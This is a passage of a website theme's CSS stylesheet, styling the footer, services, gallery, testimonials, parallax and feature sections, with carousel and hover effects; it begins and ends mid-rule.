-webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; padding-top: 40px; padding-bottom: 40px; } @media (min-width: 768px) { .footer-four .auto-container { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } } .footer-four__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 20px; } @media (min-width: 768px) { .footer-four__social { margin-top: 0; } } .footer-four__social a { color: #a4a4a4; font-size: 18px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-four__social a:hover { color: #fff; } .footer-four__social a + a { margin-left: 20px; } @media (min-width: 768px) { .footer-four__social a { font-size: 20px; } .footer-four__social a + a { margin-left: 40px; } } /*** ==================================================================== 26. Services Section ==================================================================== ***/ .services-section-two { position: relative; padding: 120px 0px 0px; background: #ffffff; } .services-section-two .sec-title { margin-bottom: 30px; } .services-section-two .sec-title .column { margin-bottom: 20px; } .services-section-two .sec-title .lower-text { padding-top: 0; margin-top: 0; } .services-section-two .services { position: relative; z-index: 2; margin-bottom: -100px; } .service-block-two { position: relative; margin-bottom: 30px; } .service-block-two .inner-box { position: relative; display: block; padding: 50px 45px 40px; background: #ffffff; border-radius: 7px; -webkit-box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block-two .inner-box:before { content: ""; position: absolute; left: 0; top: 0; right: 0; bottom: 0; display: block; border-radius: 7px; overflow: hidden; -webkit-box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.04); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-block-two .inner-box:hover:before { background: var(--thm-black); bottom: -10px; } .service-block-two .inner-box .bottom-curve { position: absolute; right: -70px; bottom: -10px; width: 120px; height: 120px; background: #ffffff; opacity: 0.1; z-index: 0; -webkit-transform: skewX(0deg) scaleX(0); transform: skewX(0deg) scaleX(0); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover .bottom-curve { -webkit-transform: skewX(-45deg) scaleX(1); transform: skewX(-45deg) scaleX(1); } .service-block-two .inner-box .icon-box { position: relative; display: block; color: var(--thm-base); font-size: 64px; line-height: 1em; margin-bottom: 20px; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover .icon-box { color: var(--thm-base); } .service-block-two .inner-box h5 { font-size: 30px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; letter-spacing: 1px; line-height: 1.1em; margin: 0; } .service-block-two .inner-box h5 a { color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover h5, .service-block-two .inner-box:hover h5 a { color: #ffffff; } .service-block-two .inner-box h5 a:hover { text-decoration: underline; } .service-block-two .text { position: relative; display: block; color: var(--thm-text); padding: 30px 0px 0px; z-index: 1; } .service-block-two .inner-box:hover .text { color: #999b9f; } .service-block-two .link-box { position: absolute; right: 3px; bottom: 8px; width: 30px; height: 30px; z-index: 1; } .service-block-two .link-box a { position: relative; line-height: 30px; font-size: 20px; color: #ffffff; } /*** ==================================================================== 27. We DO Section ==================================================================== ***/ .featured-section { position: relative; padding: 200px 0px 90px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .featured-section__about-two { background-color: #fff; background-image: none; padding-top: 120px; padding-bottom: 80px; } .featured-section .left-col { position: relative; margin-bottom: 30px; } .featured-section .left-col .inner { position: relative; display: block; padding-right: 30px; } .featured-section .left-col .image-box { position: relative; display: block; border-radius: 7px; overflow: hidden; } .featured-section .left-col .image-box:before { content: ""; position: absolute; left: -90px; bottom: 0; width: 180px; height: 180px; background: var(--thm-base); z-index: 1; -webkit-transform: skewX(45deg); transform: skewX(45deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .featured-section .left-col .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 7px; } .featured-section .left-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .featured-section .right-col { position: relative; } .featured-section .right-col .inner { position: relative; display: block; } .featured-section .features { position: relative; } .featured-section .feature { position: relative; margin-bottom: 30px; } .featured-section .feature .inner-box { position: relative; display: block; padding-left: 15px; } .featured-section .feature .inner-box:before { content: ""; position: absolute; left: 0; top: 11px; width: 5px; height: 5px; background: var(--thm-base); border-radius: 50%; } .featured-section .feature h6 { font-size: 24px; text-transform: uppercase; left: 1px; font-weight: 400; margin-bottom: 0; color: var(--thm-black); } .featured-section .feature .text { position: relative; display: block; color: var(--thm-text); padding: 10px 0px 0px; } /*** ==================================================================== 28. Gallery Section ==================================================================== ***/ .gallery-section-two { position: relative; padding: 120px 0 0px; } .gallery-section-two.alternate { position: relative; background: #ffffff url(../images/background/pattern-2.png) right top repeat; padding-bottom: 90px; } .gallery-section-two .sec-title { margin-bottom: 40px; } .project-tab { position: relative; } .project-tab .tabs-header { position: relative; text-align: center; } .project-tab .product-tab-btns { position: relative; margin-bottom: 50px; } .project-tab .product-tab-btns .p-tab-btn { position: relative; display: inline-block; vertical-align: top; font-size: 24px; line-height: 40px; padding: 0px 0px; cursor: pointer; color: var(--thm-text); font-weight: 300; margin: 0 20px 10px; text-transform: uppercase; letter-spacing: 1px; background: none; font-family: var(--thm-font); -webkit-transition: all 300ms ease; transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: left; transform-origin: left; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn sup { position: absolute; right: 0; top: 3px; font-size: 16px; opacity: 0; visibility: hidden; -webkit-transition: all 300ms ease; transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn.active-btn sup { opacity: 1; visibility: visible; } .project-tab .product-tab-btns .p-tab-btn.active-btn:before { -webkit-transform: scaleX(1); transform: scaleX(1); } .project-tab .product-tab-btns .p-tab-btn.active-btn { color: var(--thm-black); font-weight: 400; padding-right: 20px; } .project-tab .p-tabs-content { position: relative; display: block; margin: 0px -15px; } .project-tab .p-tab { position: absolute; left: 0px; top: 0px; width: 100%; height: auto; visibility: hidden; } .project-tab .p-tab.active-tab { position: relative; visibility: visible; z-index: 5; } .p-tab .gallery-item { position: relative; opacity: 0; visibility: hidden; -webkit-transform: scaleX(0); transform: scaleX(0); } .p-tab.active-tab .gallery-item { opacity: 1; visibility: visible; -webkit-transform: scaleX(1); transform: scaleX(1); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .project-tab .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 30px; display: none; } .project-tab .owl-theme .owl-dots { position: relative; width: 100%; text-align: center; padding-top: 40px; } .project-tab .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .project-tab .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .project-tab .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } .gallery-section-two.alternate .owl-theme .owl-dots { display: none; } /*** ==================================================================== 29. Why Us Section ==================================================================== ***/ .why-us-section { position: relative; padding: 110px 0px 80px; background: #ffffff; } .why-us-section .left-col { position: relative; margin-bottom: 40px; } .why-us-section .left-col .inner { position: relative; display: block; } .why-us-section .left-col .round-box { position: relative; display: block; border-radius: 50%; } .why-us-section .left-col .image-box { position: relative; display: block; border-radius: 50%; overflow: hidden; } .why-us-section .left-col .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: all 500ms ease; transition: all 500ms ease; border-radius: 50%; } .why-us-section .left-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .why-us-section .left-col .image-box:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background: url(../images/icons/shape-1.png) left top no-repeat; z-index: 1; } .why-us-section .left-col .image-box:after { content: ""; position: absolute; left: 50px; top: -70%; width: 100%; height: 100%; background: var(--thm-black); opacity: 0.2; border-radius: 50%; z-index: 2; } .why-us-section .left-col .vid-link { position: absolute; right: 55px; bottom: 25px; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; } .why-us-section .left-col .vid-link .icon { position: relative; display: block; width: 100px; height: 100px; line-height: 100px; text-align: center; font-size: 24px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .why-us-section .left-col .vid-link a:hover .icon { background: var(--thm-black); color: var(--thm-base); } .why-us-section .left-col .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 50%; } .why-us-section .left-col .vid-link .ripple, .why-us-section .left-col .vid-link .ripple:before, .why-us-section .left-col .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 116px; height: 116px; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -o-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .why-us-section .left-col .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .why-us-section .left-col .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .why-us-section .right-col { position: relative; } .why-us-section .right-col .inner { position: relative; display: block; padding-left: 50px; } .why-us-section .features { position: relative; } .why-us-section .feature { position: relative; margin-bottom: 40px; } .why-us-section .feature .inner-box { position: relative; display: block; padding-left: 90px; } .why-us-section .feature .inner-box:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: 0px; width: 60px; height: 60px; color: var(--thm-base); font-size: 20px; line-height: 60px; text-align: center; background: rgba(var(--thm-base-rgb), 0.2); border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .why-us-section .feature:hover .inner-box:before { background-color: var(--thm-black); color: #fff; } .why-us-section .feature h6 { font-size: 24px; text-transform: uppercase; left: 1px; font-weight: 400; margin-bottom: 0; } .why-us-section .feature .text { position: relative; display: block; color: var(--thm-text); padding: 10px 0px 0px; } /*** ==================================================================== 30. Testimonials Section ==================================================================== ***/ .testimonials-section { position: relative; padding: 120px 0px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; overflow: hidden; } .testimonials-page { padding-bottom: 90px; } .testimonials-section .sec-title { margin-bottom: 40px; } .testimonials-section .carousel-box { position: relative; margin: 0px 0px; } .testimonials-section .carousel-box .owl-stage-outer { overflow: visible; } .testi-block { position: relative; margin-bottom: 30px; } .owl-theme .testi-block { margin: 0; } .testi-block .inner { position: relative; display: block; padding: 60px 60px 50px; background: #ffffff; border-radius: 7px; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testi-block:hover .inner { background-color: var(--thm-base); } .testimonials-page .testi-block .inner { -ms-box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.05); -webkit-box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.05); } .owl-theme .testi-block .inner { margin: 7px 0px; } .testi-block .icon { position: absolute; right: 50px; top: 60px; font-weight: 700; font-size: 100px; line-height: 1em; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testi-block:hover .icon { color: var(--thm-black); } .testi-block .info { position: relative; padding-left: 100px; padding-top: 16px; min-height: 70px; margin-bottom: 35px; } .testi-block .info .image { position: absolute; left: 0; top: 0; width: 70px; height: 70px; border-radius: 50%; overflow: hidden; } .testi-block .info .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testi-block:hover .info .image img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .testi-block .info .name { display: block; font-size: 24px; line-height: 1.2em; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; font-family: var(--thm-font); } .testi-block .info .designation { display: block; font-size: 16px; color: var(--thm-base); line-height: 1.2em; font-weight: 300; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: 0.05em; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testi-block:hover .info .designation { color: var(--thm-black); } .testi-block .text { position: relative; display: block; color: var(--thm-text); -webkit-transition: all 500ms ease; transition: all 500ms ease; padding: 0px 0px; } .testi-block:hover .text { color: var(--thm-black); } .testimonials-section .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 30px; display: none; } .testimonials-section .owl-theme .owl-dots { position: absolute; top: -70px; width: 1170px; left: 50%; margin-left: -585px; text-align: right; } .testimonials-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 0px 0px 6px; } .testimonials-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .testimonials-section .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } /* testimonials block threee */ .testi-block-three { padding-top: 120px; padding-bottom: 120px; background-color: #eff1f4; } .testi-block-three__single { text-align: center; } .testi-block-three__top { background-color: #fff; position: relative; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 50px; padding: 49px 0; } .testi-block-three__single:hover .testi-block-three__top { background-color: var(--thm-base); } .testi-block-three__top p { margin: 0; font-size: 18px; font-weight: 500; line-height: 34px; color: #697280; max-width: 252px; margin-left: auto; margin-right: auto; } .testi-block-three__single:hover .testi-block-three__top p { color: #fff; } .testi-block-three__top::after { content: ""; width: 78px; height: 20px; background-image: url(../images/update-1-12-2020/shapes/testi-arrow-hover.png); background-repeat: no-repeat; background-position: center center; position: absolute; top: 100%; left: 50%; -webkit-transform: translateX(-50%); transform: translateX(-50%); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testi-block-three__single:hover .testi-block-three__top::after { background-image: url(../images/update-1-12-2020/shapes/testi-arrow.png); } .testi-block-three__single h3 { margin: 0; font-size: 20px; font-weight: 600; color: var(--thm-black); line-height: 1; margin-top: 15px; margin-bottom: 10px; } .testi-block-three__single span { color: var(--thm-base); text-transform: uppercase; font-size: 12px; font-weight: 500; letter-spacing: 0.2em; line-height: 1; display: block; } .testimonials-four { padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .testimonials-four { padding-top: 120px; padding-bottom: 90px; } } .testimonials-four-card { border-style: solid; border-width: 1px; border-color: #e9ebee; border-radius: 8px; background-color: #ffffff; padding: 45px; padding-bottom: 63px; padding-top: 30px; margin-bottom: 77px; position: relative; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-four-card:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } @media (min-width: 992px) { .testimonials-four-card { padding: 60px; padding-top: 50px; } } .testimonials-four-card__content p { margin: 0; font-size: 16px; line-height: 34px; color: #686a6f; font-family: var(--thm-b-font); margin-bottom: 15px; } @media (min-width: 992px) { .testimonials-four-card__content p { margin-bottom: 28px; font-size: 18px; } } .testimonials-four-card__content .name { margin: 0; text-transform: uppercase; letter-spacing: 0; font-size: 24px; line-height: 1; color: var(--thm-black); font-weight: 400; font-family: var(--thm-font); } .testimonials-four-card__content .designation { font-weight: 300; letter-spacing: 0.1em; text-transform: uppercase; color: var(--thm-base); font-family: var(--thm-font); margin: 0; } .testimonials-four-card .image { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; padding: 10px; border: 1px solid #e9ebee; border-radius: 8px; position: absolute; left: 45px; bottom: 0; -webkit-transform: translateY(50%); transform: translateY(50%); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-four-card:hover .image { border-color: var(--thm-base); } .testimonials-four-card .image img { border-radius: 8px; -webkit-filter: grayscale(100%); filter: grayscale(100%); } .testimonials-four__block__top { text-align: center; margin-bottom: 50px; } @media (min-width: 992px) { .testimonials-four__block__top { text-align: left; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .testimonials-four__block__top .sec-title { margin-bottom: 15px; } @media (min-width: 992px) { .testimonials-four__block__top .sec-title { margin-bottom: 0; } } .testimonials-four__block__top .sec-title h2 { white-space: pre-line; } .testimonials-four__block__top .block-text p { white-space: pre-line; font-size: 16px; line-height: 34px; color: #686a6f; margin: 0; font-family: var(--thm-b-font); } .testimonials-four-carousel .owl-dots { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 30px; } .testimonials-four-carousel .owl-dots .owl-dot { width: 10px; height: 10px; background-color: var(--thm-black); border: 2px solid var(--thm-black); opacity: 0.2; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-four-carousel .owl-dots .owl-dot + .owl-dot { margin-left: 5px; } .testimonials-four-carousel .owl-dots .owl-dot.active { border-color: var(--thm-base); background-color: #fff; opacity: 1; } /* testimonials five */ .testimonials-five { padding-top: 90px; padding-bottom: 45px; } @media (min-width: 992px) { .testimonials-five { padding-top: 120px; padding-bottom: 75px; } } .testimonials-five .sec-title { margin-bottom: 50px; } .testimonials-five .sec-title h2 { font-size: 40px; } .testimonials-five-card { text-align: center; } .testimonials-five .testimonials-five-card .testimonials-five-card__image { display: block; margin-left: auto; margin-right: auto; border-radius: 50%; width: 125px; -webkit-filter: grayscale(100%); filter: grayscale(100%); } .testimonials-five-card__text { margin: 0; font-size: 30px; line-height: 1.5em; color: var(--thm-black); font-weight: 300; max-width: 875px; margin-left: auto; margin-right: auto; margin-top: 50px; } @media (min-width: 992px) { .testimonials-five-card__text { font-size: 40px; } } .testimonials-five-card__title { margin: 0; text-transform: uppercase; color: var(--thm-base); font-size: 26px; line-height: 1; margin-top: 55px; margin-bottom: 5px; } @media (min-width: 992px) { .testimonials-five-card__title { font-size: 30px; } } .testimonials-five-card__designation { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 1; } .testimonials-five__carousel .owl-nav { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; margin-top: 40px !important; } @media (min-width: 992px) { .testimonials-five__carousel .owl-nav { margin-top: 0 !important; } } .testimonials-five__carousel .owl-nav button[class*="owl-"] { width: 55px; height: 55px; background-color: #f4f5f8; border-radius: 50%; color: var(--thm-black); font-size: 18px; position: relative; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .testimonials-five__carousel .owl-nav button[class*="owl-"]:hover { background-color: var(--thm-base); color: var(--thm-black); } .testimonials-five__carousel .owl-nav button[class*="owl-next"] { margin-left: 20px; } @media (min-width: 992px) { .testimonials-five__carousel .owl-nav button[class*="owl-"] { width: 73px; height: 73px; font-size: 22px; position: absolute; top: 50%; right: 100%; } .testimonials-five__carousel .owl-nav button[class*="owl-next"] { right: auto; left: 100%; } } .testimonials-five__carousel .owl-nav button[class*="owl-"] span::before { content: "\f172"; font-family: "Flaticon"; font-weight: 400; } .testimonials-five__carousel .owl-nav button[class*="owl-next"] span::before { -webkit-transform: rotate(180deg); transform: rotate(180deg); display: block; } .testimonials-six { text-align: center; padding-top: 70px; } @media (min-width: 768px) { .testimonials-six { padding-top: 110px; } } @media (min-width: 1200px) { .testimonials-six { padding-top: 190px; } } .testimonials-six__content { margin: 0; color: var(--thm-black); font-size: 40px; font-weight: 400; width: 100%; margin-left: auto; margin-right: auto; line-height: 1.4em; } .testimonials-six__content br { display: none; } @media (min-width: 992px) { .testimonials-six__content { font-size: 50px; } .testimonials-six__content br { display: inherit; } } .testimonials-six__meta { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; font-size: 20px; font-weight: 400; color: var(--thm-text); margin-top: 20px; } @media (min-width: 992px) { .testimonials-six__meta { font-size: 28px; margin-top: 50px; } } .testimonials-six__meta span:first-child { color: var(--thm-base); } .testimonials-six__meta span:not(:last-child)::after { content: "-"; margin-left: 20px; margin-right: 20px; color: var(--thm-text) !important; } .testimonials-six hr { border-width: 1px; border-color: #e9ebee; margin: 0; margin-top: 80px; } @media (min-width: 768px) { .testimonials-six hr { margin-top: 120px; } } #testimonials-six-pagination { position: relative; bottom: auto; left: auto; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; line-height: 1; margin-top: 45px; } #testimonials-six-pagination .swiper-pagination-bullet { width: 10px; height: 10px; background-color: var(--thm-text); border-radius: 50%; display: block; line-height: 1; opacity: 0.3; margin: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } #testimonials-six-pagination .swiper-pagination-bullet + .swiper-pagination-bullet { margin-left: 10px; } #testimonials-six-pagination .swiper-pagination-bullet-active { background-color: var(--thm-base); opacity: 1; } /*** ==================================================================== 31. Parallax Section ==================================================================== ***/ .features-section { position: relative; padding: 120px 0px; background: #1c1e22; color: #ffffff; z-index: 1; } .features-section .jarallax-img, .features-section .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-repeat: no-repeat; background-position: top center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); opacity: 0.3; background-attachment: fixed; } .features-section .content-box { position: relative; max-width: 700px; } .features-section .content-box h2 { position: relative; display: block; font-size: 70px; line-height: 1em; text-transform: uppercase; color: #ffffff; letter-spacing: 0.01em; font-weight: 400; margin-bottom: 45px; } .features-section .content-box h2 span { color: var(--thm-base); padding-left: 3px; } .features-section .feature-block { position: relative; float: left; margin-bottom: 45px; } .features-section .feature-block .inner { position: relative; display: block; padding-right: 80px; margin-right: 80px; } .features-section .feature-block .inner:before { content: ""; position: absolute; right: 0; top: 20px; bottom: 20px; border-right: 1px solid rgba(255, 255, 255, 0.15); } .features-section .feature-block:last-child .inner { padding-right: 0; margin-right: 0; } .features-section .feature-block:last-child .inner:before { display: none; } .features-section .feature-block .icon-box { position: relative; display: block; line-height: 1em; color: #ffffff; font-size: 60px; margin: 0 0 20px; } .features-section .feature-block h6 { font-size: 24px; line-height: 1.25em; margin: 0 0; letter-spacing: 0.03em; text-transform: uppercase; font-weight: 400; color: #fff; } /* feature six */ .feature-six { background-color: #f4f5f8; } .feature-six__image { position: relative; margin-bottom: 60px; } @media (min-width: 1200px) { .feature-six__image { margin-bottom: 0; } } .feature-six__image img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); } @media (min-width: 1200px) { .feature-six__image img { max-width: none !important; width: auto; float: right; } } .feature-six__image__caption { position: absolute; bottom: 0; right: 0; background-color: var(--thm-base); padding: 40px; white-space: pre-line; text-transform: uppercase; line-height: 1; color: var(--thm-black); font-weight: 500; font-size: 22px; font-family: var(--thm-font); } @media (min-width: 992px) { .feature-six__image__caption { font-size: 30px; padding: 43px 60px; } } @media (min-width: 1200px) { .feature-six__content { padding-left: 60px; } } @media (min-width: 1440px) { .feature-six__content { padding-left: 115px; } } .feature-six__content .sec-title { margin-bottom: 10px; } @media (min-width: 992px) { .feature-six__content .sec-title { max-width: 550px; } } @media (min-width: 1200px) { .feature-six__content .sec-title { margin-bottom: 30px; } } .feature-six__content__text { font-size: 16px; line-height: 34px; color: var(--thm-text); font-family: var(--thm-b-font); margin-bottom: 20px; } @media (min-width: 992px) { .feature-six__content__text { max-width: 550px; } } @media (min-width: 1200px) { .feature-six__content__text { margin-bottom: 40px; } } .feature-six__list li { position: relative; padding-left: 30px; font-size: 16px; color: var(--thm-black); font-family: var(--thm-b-font); line-height: 1.6em; margin-bottom: 13px; } .feature-six__list li:last-child { margin-bottom: 0; } .feature-six__list li > i { position: absolute; left: 0; top: 50%; -webkit-transform: translateY(-50%); transform: translateY(-50%); color: var(--thm-base); font-size: 20px; } /* feature seven */ .feature-seven { padding-top: 90px; } @media (min-width: 992px) { .feature-seven { padding-top: 120px; } } .feature-seven hr { border-width: 1px; border-color: #e9ebee; margin: 0; margin-left: auto; margin-right: auto; max-width: 1170px; margin-top: 60px; } @media (min-width: 992px) { .feature-seven hr { margin-top: 90px; } } .feature-seven-card { border-radius: 8px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 30px; } .feature-seven-card:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .feature-seven-card__inner { overflow: hidden; border-radius: 8px; background-color: #fff; } .feature-seven-card__image img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: 500ms ease; transition: 500ms ease; } .feature-seven-card:hover .feature-seven-card__image img { -webkit-filter: grayscale(0); filter: grayscale(0); } .feature-seven-card__content { border-style: solid; border-width: 1px; border-color: #e9ebee; padding: 30px; padding-bottom: 20px; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; } @media (min-width: 992px) { .feature-seven-card__content { padding: 50px; padding-bottom: 40px; } } .feature-seven-card__title { color: var(--thm-black); text-transform: uppercase; margin: 0; font-size: 34px; line-height: 1; } .feature-seven-card__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .feature-seven-card__title a:hover { color: var(--thm-base); } .feature-seven-card__text { margin: 0; font-size: 16px; font-family: var(--thm-b-font); color: var(--thm-text); line-height: 34px; margin-top: 10px; } @media (min-width: 992px) { .feature-seven-card__text { margin-top: 25px; } } /* feature eight */ .feature-eight { padding-top: 90px; padding-bottom: 90px; } @media (min-width: 992px) { .feature-eight { padding-top: 120px; padding-bottom: 120px; } } .feature-eight__image img { max-width: 100%; border-radius: 8px; -webkit-filter: grayscale(100%); filter: grayscale(100%); background-color: #1c1e22; display: block; margin-left: auto; margin-right: auto; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } @media (min-width: 992px) { .feature-eight__image img { border-radius: 8px; max-width: none; } } .feature-eight__content { background-color: #fff; padding: 50px; border-radius: 8px; border-top-left-radius: 0; border-top-right-radius: 0; -webkit-box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.07); box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.07); position: relative; z-index: 10; } @media (min-width: 992px) { .feature-eight__content { margin-top: 60px; border-radius: 8px; } } @media (min-width: 1200px) { .feature-eight__content { padding: 100px; } } .feature-eight__text { margin-bottom: 35px; } .feature-eight .progress-box { position: relative; display: block; width: 100%; font-family: var(--thm-font); } .feature-eight .progress-box .bar-title { position: relative; font-size: 20px; line-height: 1.1em; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 10px; color: var(--thm-black); } .feature-eight .progress-box .bar { position: relative; width: 100%; height: 7px; background: #e9ebee; border-radius: 4px; } .feature-eight .progress-box .bar-inner { position: relative; display: block; width: 0px; height: 7px; background: var(--thm-base); border-radius: 4px; -webkit-transition: all 1500ms ease; transition: all 1500ms ease; } .feature-eight .progress-box .count-box { position: absolute; right: 0px; margin-right: -40px; bottom: 18px; width: 40px; height: 22px; background: var(--thm-black); color: #ffffff; line-height: 22px; font-size: 14px; font-weight: 500; border-radius: 5px; text-align: center; opacity: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .feature-eight .progress-box .counted .count-box { opacity: 1; } .feature-eight .progress-box .count-box:after { content: ""; position: 